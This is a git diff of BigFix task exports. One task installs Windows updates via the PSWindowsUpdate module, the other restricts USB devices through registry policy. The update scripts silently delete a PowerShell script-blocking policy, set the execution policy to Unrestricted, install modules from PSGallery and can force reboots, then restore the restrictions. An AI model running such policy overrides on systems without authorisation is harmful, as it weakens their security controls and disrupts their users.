-parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-// Disable script protection
-if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
-endif
-
-// Disable execution policy in scope of current user (system)
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
-
-// Install PowerShell Modules from PSGallery
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
-
-// Check for and install Windows Updates
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -AcceptAll -AutoReboot -Confirm:$false&quot;
-
-// Restrict execution policy
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
-
-// Re-enable script protection
-if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
-endif</ActionScript>
-    </Action>
-    <Action ID="Action27890">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to install Windows Updates without rebooting or notifying the user.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
-parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-// Disable script protection
-if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
-endif
-
-// Disable execution policy in scope of current user (system)
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
-
-// Install PowerShell Modules from PSGallery
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
-
-// Check for and install Windows Updates
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -AcceptAll -IgnoreReboot -Confirm:$false&quot;
-
-// Restrict execution policy
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
-
-// Re-enable script protection
-if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
-endif</ActionScript>
-    </Action>
-    <Action ID="Action27891">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to go to the TechNet page on this PowerShell module.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/</ActionScript>
-    </Action>
-    <Action ID="Action27892">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to uninstall the PowerShell module.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
-parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-// Disable script protection
-if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
-endif
-
-// Disable execution policy in scope of current user (system)
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
-
-// Install PowerShell Modules from PSGallery
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Uninstall-Module -Name PSWindowsUpdate -Force&quot;
-
-// Restrict execution policy
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
-
-// Re-enable script protection
-if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
-endif</ActionScript>
-    </Action>
-    <Action ID="Action27893">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/25528</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version)
+  ID       : 26617
+  Author   : rdshift
+  Domain   : BESC
+  Imported : 2019-04-11T12:43:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version)</Title>
+    <Description><![CDATA[<P>This installs the latest Windows updates.</P>
+<P>Last tested on Windows 10 v1803 with PowerShell 5.1.&nbsp; This version requires PS 5.0+ due to module usage.</P>
+<OL>
+<LI>Checks for existing scripting policy LGPO registry item (cannot override GPO)
+<LI>If exists, back up and disable existing policy
+<LI>Install prerequisite: NuGet 2.8.5.201+
+<LI>Install Windows Update PowerShell Module v2.0.0.4 (tested, feel free to drop that requirement)
+<LI>Run Windows Update via newly added module
+<LI>Action 6 is a separate action to uninstall Windows Update PowerShell Module "PSWindowsUpdate" if you would like to scrub the environment.</LI></OL>
+<P>It will not ask questions, and not provide options - it will simply install everything it is able to install in one round.</P>
+<P>This version will NOT install Windows Feature Updates, such as Windows 10 version 1803 to version 1809.</P>
+<P>By running this task you accept the Microsoft TechNet terms of use.</P>
+<P>Module Credit Michal Gajda,&nbsp;source: <A href="https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/">https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/</A></P>]]></Description>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "5.0") of registry]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-06-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Mon, 18 Jun 2018 12:07:16 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Tue, 26 Jun 2018 19:07:42 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>Windows Update Powershell Module MichalGajda</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>25528</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-versions-ids</Name>
+      <Value>25522,25523,25524,25527</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 11 Apr 2019 19:38:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows + Microsoft Updates without rebooting or notifying the user.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -MicrosoftUpdate -AcceptAll -IgnoreReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </DefaultAction>
+    <Action ID="Action27888">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows + Microsoft Updates and automatically reboot without asking to reboot.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -MicrosoftUpdate -AcceptAll -AutoReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27889">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows Updates and automatically reboot without asking to reboot.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -AcceptAll -AutoReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27890">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows Updates without rebooting or notifying the user.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -AcceptAll -IgnoreReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27891">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to go to the TechNet page on this PowerShell module.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/</ActionScript>
+    </Action>
+    <Action ID="Action27892">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to uninstall the PowerShell module.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Uninstall-Module -Name PSWindowsUpdate -Force&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27893">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/25528</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes
index 3a52e2914..0886d478c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Windows7810DeviceControl
-  ID       : 24647
-  Author   : tstacy
-  Domain   : BESC
-  Imported : 2017-09-26T17:42:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Windows7810DeviceControl</Title>
-    <Description><![CDATA[This task will edit the Windows Registry so only those device Hardware ID's are able to connect.&nbsp; Please only take action by ensuring that USB Devices are removed and a reboot occurs after the update.<VALUE><BR><BR></VALUE>This task is applicable on:&nbsp;Windows 7, Windows 8, Windows 8.1, Windows 10. ]]></Description>
-    <Relevance>(name of operating system = &quot;Win7&quot; OR name of operating system = &quot;Win8&quot; OR name of operating system = &quot;Win8.1&quot; OR name of operating system = &quot;Win10&quot;) AND (NOT exists value &quot;DenyUnspecified&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; of native registry)</Relevance>
-    <Category>Registry Edit</Category>
-    <Source>Windows Registry Wizard</Source>
-    <SourceReleaseDate>2017-09-26</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Windows Registry Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 26 Sep 2017 23:34:12 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp;</PreLink>
-        <Link>here&amp;nbsp;</Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-
-delete __createfile
-delete wizardedit.reg
-
-createfile until @end_create_reg_file
-Windows Registry Editor Version 5.00
-
-[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall]
-
-[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions]
-"DenyUnspecified"=dword:00000001
-"AllowDeviceIDs"=dword:00000001
-
-[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\AllowDeviceIDs]
-"1"="USB\\VID_125F&PID_0000&REV_1100"
-@end_create_reg_file
-
-move __createfile wizardedit.reg
-waithidden regedit /s "wizardedit.reg"]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows7810DeviceControl
+  ID       : 24647
+  Author   : tstacy
+  Domain   : BESC
+  Imported : 2017-09-26T17:42:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows7810DeviceControl</Title>
+    <Description><![CDATA[This task will edit the Windows Registry so only those device Hardware ID's are able to connect.&nbsp; Please only take action by ensuring that USB Devices are removed and a reboot occurs after the update.<VALUE><BR><BR></VALUE>This task is applicable on:&nbsp;Windows 7, Windows 8, Windows 8.1, Windows 10. ]]></Description>
+    <Relevance>(name of operating system = &quot;Win7&quot; OR name of operating system = &quot;Win8&quot; OR name of operating system = &quot;Win8.1&quot; OR name of operating system = &quot;Win10&quot;) AND (NOT exists value &quot;DenyUnspecified&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; of native registry)</Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Windows Registry Wizard</Source>
+    <SourceReleaseDate>2017-09-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 26 Sep 2017 23:34:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+delete __createfile
+delete wizardedit.reg
+
+createfile until @end_create_reg_file
+Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall]
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions]
+"DenyUnspecified"=dword:00000001
+"AllowDeviceIDs"=dword:00000001
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\AllowDeviceIDs]
+"1"="USB\\VID_125F&PID_0000&REV_1100"
+@end_create_reg_file
+
+move __createfile wizardedit.reg
